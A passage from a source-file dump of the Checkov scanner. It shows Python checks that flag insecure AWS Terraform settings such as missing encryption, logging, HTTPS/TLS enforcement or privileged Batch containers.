    "path": "checkov/terraform/checks/resource/aws/AthenaWorkgroupConfiguration.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AthenaWorkgroupConfiguration(BaseResourceValueCheck):\n\n    def __init__(self):\n        name = \"Ensure Athena Workgroup should enforce configuration to prevent client disabling encryption\"\n        id = \"CKV_AWS_82\"\n        supported_resources = ['aws_athena_workgroup']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.PASSED)\n\n    def get_inspected_key(self):\n        return \"configuration/[0]/enforce_workgroup_configuration\"\n\n\ncheck = AthenaWorkgroupConfiguration()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/AthenaWorkgroupEncryption.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AthenaWorkgroupEncryption(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Athena Workgroup is encrypted\"\n        id = \"CKV_AWS_159\"\n        supported_resources = (\"aws_athena_workgroup\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"configuration/[0]/result_configuration/[0]/encryption_configuration/[0]/encryption_option\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = AthenaWorkgroupEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/AuroraEncryption.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass AuroraEncryption(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure all data stored in Aurora is securely encrypted at rest\"\n        id = \"CKV_AWS_96\"\n        supported_resources = ['aws_rds_cluster']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        # https://docs.aws.amazon.com/AmazonRDS/latest/AuroraUserGuide/aurora-serverless.how-it-works.html#aurora-serverless.snapshots\n        # If aurora serverless is used it is always encrypted\n        key = 'engine_mode'\n        if key in conf.keys():\n            if conf[key] == ['serverless']:\n                return CheckResult.PASSED\n        return super().scan_resource_conf(conf)\n\n    def get_inspected_key(self):\n        return \"storage_encrypted\"\n\n\ncheck = AuroraEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/AutoScalingGroupWithPublicAccess.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass AutoScalingGroupWithPublicAccess(BaseResourceNegativeValueCheck):\n\n    def __init__(self):\n        name = \"Ensure AWS Auto Scaling group launch configuration doesn't have public IP address assignment enabled\"\n        id = \"CKV_AWS_389\"\n        supported_resources = ['aws_launch_configuration']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_forbidden_values(self):\n        return [True]\n\n    def get_inspected_key(self):\n        return \"associate_public_ip_address\"\n\n\ncheck = AutoScalingGroupWithPublicAccess()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/AutoScalingLaunchTemplate.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck\n\n\nclass AutoScalingLaunchTemplate(BaseResourceCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        NIST.800-53.r5 CA-9(1), NIST.800-53.r5 CM-2, NIST.800-53.r5 CM-2(2)\n        EC2 Auto Scaling groups should use EC2 launch templates\n        \"\"\"\n        name = \"Ensure EC2 Auto Scaling groups use EC2 launch templates\"\n        id = \"CKV_AWS_315\"\n        supported_resources = (\"aws_autoscaling_group\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        if \"launch_template\" in conf:\n            return CheckResult.PASSED\n\n        if \"mixed_instances_policy\" in conf and \"launch_template\" in conf[\"mixed_instances_policy\"][0]:\n            return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n\ncheck = AutoScalingLaunchTemplate()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/AutoScalingTagging.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom typing import List\n\n\nclass AutoScalingTagging(BaseResourceCheck):\n    def __init__(self):\n        name = \"Autoscaling groups should supply tags to launch configurations\"\n        id = \"CKV_AWS_153\"\n        supported_resources = ['aws_autoscaling_group']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n            Looks for tag or tags\n        \"\"\"\n        if \"tag\" in conf.keys() or \"tags\" in conf.keys():\n            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['tag', 'tags']\n\n\ncheck = AutoScalingTagging()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/BackupVaultEncrypted.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass BackupVaultEncrypted(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Backup Vault is encrypted at rest using KMS CMK\"\n        id = \"CKV_AWS_166\"\n        supported_resources = (\"aws_backup_vault\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"kms_key_arn\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = BackupVaultEncrypted()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/BatchJobIsNotPrivileged.py",
    "content": "from __future__ import annotations\n\nimport json\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass BatchJobIsNotPrivileged(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Batch job does not define a privileged container\"\n        id = \"CKV_AWS_210\"\n        supported_resources = (\"aws_batch_job_definition\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        self.evaluated_keys = [\"container_properties\"]\n        container_properties = conf.get(\"container_properties\")\n        if container_properties:\n            if isinstance(container_properties[0], str):\n                try:\n                    container = json.loads(container_properties[0])\n                except json.JSONDecodeError:\n                    return CheckResult.UNKNOWN\n            else:\n                container = container_properties[0]\n            if not isinstance(container, dict):\n                return CheckResult.UNKNOWN\n            if container.get(\"privileged\"):\n                self.evaluated_keys.append(\"container_properties/[0]/privileged\")\n                return CheckResult.FAILED\n            return CheckResult.PASSED\n        return CheckResult.UNKNOWN\n\n\ncheck = BatchJobIsNotPrivileged()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/BedrockAgentEncrypted.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass BedrockAgentEncrypted(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Bedrock Agent is encrypted with a CMK\"\n        id = \"CKV_AWS_373\"\n        supported_resources = (\"aws_bedrockagent_agent\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"customer_encryption_key_arn\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = BedrockAgentEncrypted()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/BedrockGuardrails.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass BedrockGuardrails(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure AWS Bedrock agent is associated with Bedrock guardrails\"\n        id = \"CKV_AWS_383\"\n        supported_resources = (\"aws_bedrockagent_agent\",)\n        categories = (CheckCategories.AI_AND_ML,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"guardrail_configuration/[0]/guardrail_identifier\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = BedrockGuardrails()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/CloudFrontGeoRestrictionDisabled.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass CloudFrontGeoRestrictionDisabled(BaseResourceNegativeValueCheck):\n\n    def __init__(self) -> None:\n        name = \"Ensure AWS CloudFront web distribution has geo restriction enabled\"\n        id = \"CKV_AWS_374\"\n        supported_resources = ('aws_cloudfront_distribution',)\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"restrictions/[0]/geo_restriction/[0]/restriction_type\"\n\n    def get_forbidden_values(self) -> list:\n        return [\"none\"]\n\n\ncheck = CloudFrontGeoRestrictionDisabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/CloudFrontResponseHeaderStrictTransportSecurity.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.common.util.type_forcers import force_int\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass CloudFrontResponseHeaderStrictTransportSecurity(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure CloudFront response header policy enforces Strict Transport Security\"\n        id = \"CKV_AWS_259\"\n        supported_resources = (\"aws_cloudfront_response_headers_policy\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        # https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security\n\n        self.evaluated_keys = [\"security_headers_config\"]\n        security_headers = conf.get(\"security_headers_config\")\n        if security_headers and isinstance(security_headers, list):\n            self.evaluated_keys = [\"security_headers_config/[0]/strict_transport_security\"]\n            sts = security_headers[0].get(\"strict_transport_security\")\n            if sts and isinstance(sts, list):\n                # if one of those configs is not set correctly, then the check should fail\n                self.evaluated_keys = [\n                    \"security_headers_config/[0]/strict_transport_security/[0]/access_control_max_age_sec\"\n                ]\n                max_age = sts[0].get(\"access_control_max_age_sec\")\n                if not max_age:\n                    return CheckResult.FAILED\n                else:\n                    max_age_int = force_int(max_age[0])\n                    if not max_age_int or max_age_int < 31536000:  # 1 year\n                        return CheckResult.FAILED\n\n                self.evaluated_keys.append(\n                    \"security_headers_config/[0]/strict_transport_security/[0]/include_subdomains\"\n                )\n                subdomains = sts[0].get(\"include_subdomains\")\n                if not subdomains or not subdomains[0]:\n                    return CheckResult.FAILED\n\n                self.evaluated_keys.append(\"security_headers_config/[0]/strict_transport_security/[0]/preload\")\n                preload = sts[0].get(\"preload\")\n                if not preload or not preload[0]:\n                    return CheckResult.FAILED\n\n                self.evaluated_keys.append(\"security_headers_config/[0]/strict_transport_security/[0]/override\")\n                override = sts[0].get(\"override\")\n                if not override or not override[0]:\n                    return CheckResult.FAILED\n\n                return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n\ncheck = CloudFrontResponseHeaderStrictTransportSecurity()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/CloudWatchAlarmsEnabled.py",
    "content": "from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass CloudWatchAlarmsEnabled(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        \"\"\"\n        NIST.800-53.r5 AU-6(1), NIST.800-53.r5 AU-6(5), NIST.800-53.r5 CA-7,\n        NIST.800-53.r5 SI-2, NIST.800-53.r5 SI-4(12)\n        CloudWatch alarm actions should be activated\n        \"\"\"\n        name = \"Ensure that CloudWatch alarm actions are enabled\"\n        id = \"CKV_AWS_319\"\n        supported_resources = ['aws_cloudwatch_metric_alarm']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"actions_enabled\"\n\n    def get_forbidden_values(self):\n        return [False]\n\n\ncheck = CloudWatchAlarmsEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/CloudWatchLogGroupKMSKey.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass CloudWatchLogGroupKMSKey(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that CloudWatch Log Group is encrypted by KMS\"\n        id = \"CKV_AWS_158\"\n        supported_resources = ['aws_cloudwatch_log_group']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"kms_key_id\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = CloudWatchLogGroupKMSKey()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/CloudWatchLogGroupRetention.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass CloudWatchLogGroupRetention(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that CloudWatch Log Group specifies retention days\"\n        id = \"CKV_AWS_66\"\n        supported_resource = ['aws_cloudwatch_log_group']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resource)\n\n    def get_inspected_key(self):\n        return \"retention_in_days\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = CloudWatchLogGroupRetention()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/CloudWatchLogGroupRetentionYear.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, List\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import \\\n    BaseResourceCheck\n\n\nclass CloudWatchLogGroupRetentionYear(BaseResourceCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        NIST.800-53.r5 AU-10, NIST.800-53.r5 AU-11, NIST.800-53.r5 AU-6(3), NIST.800-53.r5 AU-6(4),\n        NIST.800-53.r5 CA-7, NIST.800-53.r5 SI-12\n        CloudWatch log groups should be retained for at least 1 year\n        \"\"\"\n        name = \"Ensure CloudWatch log groups retains logs for at least 1 year\"\n        id = \"CKV_AWS_338\"\n        supported_resource = (\"aws_cloudwatch_log_group\",)\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resource)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        retention = conf.get(\"retention_in_days\")\n        if retention and isinstance(retention, list):\n            retention = retention[0]\n            if not isinstance(retention, int):\n                # probably a dependent variable\n                return CheckResult.UNKNOWN\n            # If you select 0, the events in the log group are always retained and never expire.\n            if retention == 0 or retention >= 365:\n                return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"retention_in_days\"]\n\n\ncheck = CloudWatchLogGroupRetentionYear()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/CloudformationStackNotificationArns.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass CloudformationStackNotificationArns(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that CloudFormation stacks are sending event notifications to an SNS topic\"\n        id = \"CKV_AWS_124\"\n        supported_resources = ['aws_cloudformation_stack']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'notification_arns'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = CloudformationStackNotificationArns()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/CloudfrontDistributionDefaultRoot.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass CloudfrontDistributionDefaultRoot(BaseResourceValueCheck):\n\n    def __init__(self):\n        \"\"\"\n        NIST.800-53.r5 SC-7(11), NIST.800-53.r5 SC-7(16)\n        CloudFront distributions should have a default root object configured\n        \"\"\"\n        name = \"Ensure CloudFront distribution has a default root object configured\"\n        id = \"CKV_AWS_305\"\n        supported_resources = ['aws_cloudfront_distribution']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"default_root_object\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = CloudfrontDistributionDefaultRoot()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/CloudfrontDistributionEnabled.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass CloudfrontDistributionEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure CloudFront distribution is enabled\"\n        id = \"CKV_AWS_216\"\n        supported_resources = ['aws_cloudfront_distribution']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"enabled\"\n\n\ncheck = CloudfrontDistributionEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/CloudfrontDistributionEncryption.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass CloudfrontDistributionEncryption(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure CloudFront distribution ViewerProtocolPolicy is set to HTTPS\"\n        id = \"CKV_AWS_34\"\n        supported_resources = ['aws_cloudfront_distribution']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n            Looks for ViewerProtocolPolicy configuration at cloudfront distributions:\n            https://www.terraform.io/docs/providers/aws/r/cloudfront_distribution.html#viewer_protocol_policy\n        :param conf: cloudfront configuration\n        :return: <CheckResult>\n        \"\"\"\n        if \"default_cache_behavior\" in conf.keys():\n            self.evaluated_keys = ['default_cache_behavior/[0]/viewer_protocol_policy']\n            if isinstance(conf[\"default_cache_behavior\"][0], dict):\n                default_viewer_policy = conf[\"default_cache_behavior\"][0].get(\"viewer_protocol_policy\")\n                if default_viewer_policy and default_viewer_policy[0] == \"allow-all\":\n                    return CheckResult.FAILED\n        if \"ordered_cache_behavior\" in conf.keys():\n            for behavior in conf[\"ordered_cache_behavior\"]:\n                if isinstance(behavior, dict):\n                    # behavior which is a string will return PASSED\n                    if behavior[\"viewer_protocol_policy\"][0] == \"allow-all\":\n                        self.evaluated_keys = [f'ordered_cache_behavior/[{conf[\"ordered_cache_behavior\"].index(behavior)}]/viewer_protocol_policy']\n                        return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = CloudfrontDistributionEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/CloudfrontDistributionLogging.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass CloudfrontDistributionLogging(BaseResourceValueCheck):\n\n    def __init__(self):\n        name = \"Ensure CloudFront distribution has Access Logging enabled\"\n        id = \"CKV_AWS_86\"\n        supported_resources = ['aws_cloudfront_distribution']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"logging_config/[0]/bucket\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = CloudfrontDistributionLogging()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/CloudfrontDistributionOriginFailover.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass CloudfrontDistributionOriginFailover(BaseResourceCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        NIST.800-53.r5 CP-10, NIST.800-53.r5 SC-36, NIST.800-53.r5 SC-5(2), NIST.800-53.r5 SI-13(5)\n        CloudFront distributions should have origin failover configured\n        \"\"\"\n        name = \"Ensure CloudFront distributions should have origin failover configured\"\n        id = \"CKV_AWS_310\"\n        supported_resources = ('aws_cloudfront_distribution',)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        groups = conf.get(\"origin_group\")\n        if groups and isinstance(groups, list):\n            self.evaluated_keys = [\"origin_group\"]\n            for group_idx, group in enumerate(groups):\n                if isinstance(group, dict) and group.get(\"failover_criteria\"):\n                    member = group.get(\"member\")\n                    if not member or len(member) < 2:\n                        self.evaluated_keys.append(f\"origin_group/[{group_idx}]/member\")\n                        return CheckResult.FAILED\n                else:\n                    return CheckResult.FAILED\n        else:\n            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = CloudfrontDistributionOriginFailover()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/CloudfrontTLS12.py",
    "content": "from typing import Any, Dict\nimport re\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n_SECURE_RE = re.compile(r\"^TLSv1\\.(?:2|3)_\\d{4}$\")\n\n\nclass CloudFrontTLS12(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Verify CloudFront Distribution Viewer Certificate is using TLS v1.2 or higher\"\n        id = \"CKV_AWS_174\"\n        supported_resources = (\"aws_cloudfront_distribution\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        # keep this for reporting\n        return \"viewer_certificate/[0]/minimum_protocol_version\"\n\n    def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n        vc_list = conf.get(\"viewer_certificate\")\n        if not isinstance(vc_list, list) or not vc_list or not isinstance(vc_list[0], dict):\n            return CheckResult.FAILED\n\n        vc = vc_list[0]\n\n        default_cert = vc.get(\"cloudfront_default_certificate\")\n        if isinstance(default_cert, list):\n            default_cert = default_cert[0] if default_cert else None\n        if isinstance(default_cert, str):\n            default_cert = default_cert.lower() == \"true\"\n        if default_cert is True:\n            return CheckResult.FAILED\n\n        mpv = vc.get(\"minimum_protocol_version\")\n        if isinstance(mpv, list):\n            mpv = mpv[0] if mpv else None\n        if isinstance(mpv, str) and _SECURE_RE.match(mpv):\n            return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self):\n        return [self.get_inspected_key()]\n\n\ncheck = CloudFrontTLS12()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/CloudsearchDomainEnforceHttps.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass CloudsearchDomainEnforceHttps(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that CloudSearch is using https\"\n        id = \"CKV_AWS_220\"\n        supported_resources = [\"aws_cloudsearch_domain\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n        )\n\n    def get_inspected_key(self) -> str:\n        return \"endpoint_options/[0]/enforce_https\"\n\n    def get_expected_value(self) -> bool:\n        return True\n\n\ncheck = CloudsearchDomainEnforceHttps()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/CloudsearchDomainTLS.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom typing import Any\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass CloudsearchDomainTLS(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that CloudSearch is using latest TLS\"\n        id = \"CKV_AWS_218\"\n        supported_resources = (\"aws_cloudsearch_domain\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n        )\n\n    def get_inspected_key(self) -> str:\n        return \"endpoint_options/[0]/tls_security_policy\"\n\n    def get_expected_value(self) -> Any:\n        return \"Policy-Min-TLS-1-2-2019-07\"\n\n\ncheck = CloudsearchDomainTLS()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/CloudtrailDefinesSNSTopic.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass CloudtrailDefinesSNSTopic(BaseResourceValueCheck):\n    def __init__(self):\n        \"\"\"\n        If you CloudTrail trails are not referenced to an SNS topic,\n        you can't get notifications each time Amazon CloudTrail\n        publishes any new log files, and you lose the ability to take realtime actions.\n\n        AWS: \"An active account can generate a large number of notifications. If you subscribe with email or SMS,\n        you can receive a large volume of messages.\n        We recommend that you subscribe using Amazon Simple Queue Service (Amazon SQS), which lets you\n        handle notifications programmatically.\n        \"\"\"\n        name = \"Ensure CloudTrail defines an SNS Topic\"\n        id = \"CKV_AWS_252\"\n        supported_resources = ['aws_cloudtrail']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        \"\"\"\n            Looks for SNS topic at cloudtrail:\n            https://www.terraform.io/docs/providers/aws/r/cloudtrail.html\n        :param conf: cloudtrail configuration\n        :return: <CheckResult>\n        \"\"\"\n        return 'sns_topic_name'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = CloudtrailDefinesSNSTopic()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/CloudtrailEnableLogging.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass CloudtrailEnableLogging(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure CloudTrail logging is enabled\"\n        id = \"CKV_AWS_251\"\n        supported_resources = ['aws_cloudtrail']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.PASSED)\n\n    def get_inspected_key(self):\n        return \"enable_logging\"\n\n\ncheck = CloudtrailEnableLogging()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/CloudtrailEncryptionWithCMK.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass CloudtrailEncryptionWithCMK(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure CloudTrail logs are encrypted at rest using KMS CMKs\"\n        id = \"CKV_AWS_35\"\n        supported_resources = ['aws_cloudtrail']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        \"\"\"\n            Looks for encryption configuration at cloudtrail:\n            https://www.terraform.io/docs/providers/aws/r/cloudtrail.html\n        :param conf: cloudtrail configuration\n        :return: <CheckResult>\n        \"\"\"\n        return 'kms_key_id'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = CloudtrailEncryptionWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/CloudtrailEventDataStoreUsesCMK.py",
